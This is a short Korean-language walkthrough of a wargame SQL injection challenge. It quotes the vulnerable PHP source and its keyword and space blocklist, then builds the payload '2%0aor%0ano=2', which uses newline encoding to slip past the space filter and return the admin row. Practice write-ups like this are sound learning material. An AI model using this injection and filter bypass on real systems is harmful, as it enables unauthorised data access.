sql injection 문제이다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
if($result['id']=="guest") echo "hi guest";
if($result['id']=="admin"){
solve(18);
echo "hi admin!";
}
}
?>
중요소스다.
select id from chall18 where id='guest' and no=$_GET[no] 의 결과가 admin 이 나와야한다.
TRUE and FALSE or TRUE 의 값은 TRUE 란 점을 이용해 sqli 문을 짜보자.
admin의 no=2 란점 힌트를 활용하자.
2 or no=2 를 입력하면
select id from chall18 where id='guest' and no=2 or no=2
id='guest' and no=2 는 FALSE 가 되고,
or no=2 는 admin 의 no값이기때문에 TRUE 가 되어
admin 의 id 를 결과로 가져오게된다.
2 or no=2
공백이 필터링되므로, %0a 로 우회하자.
2%0aor%0ano=2
(url창에 직접 입력하자)
?no=2%0aor%0ano=2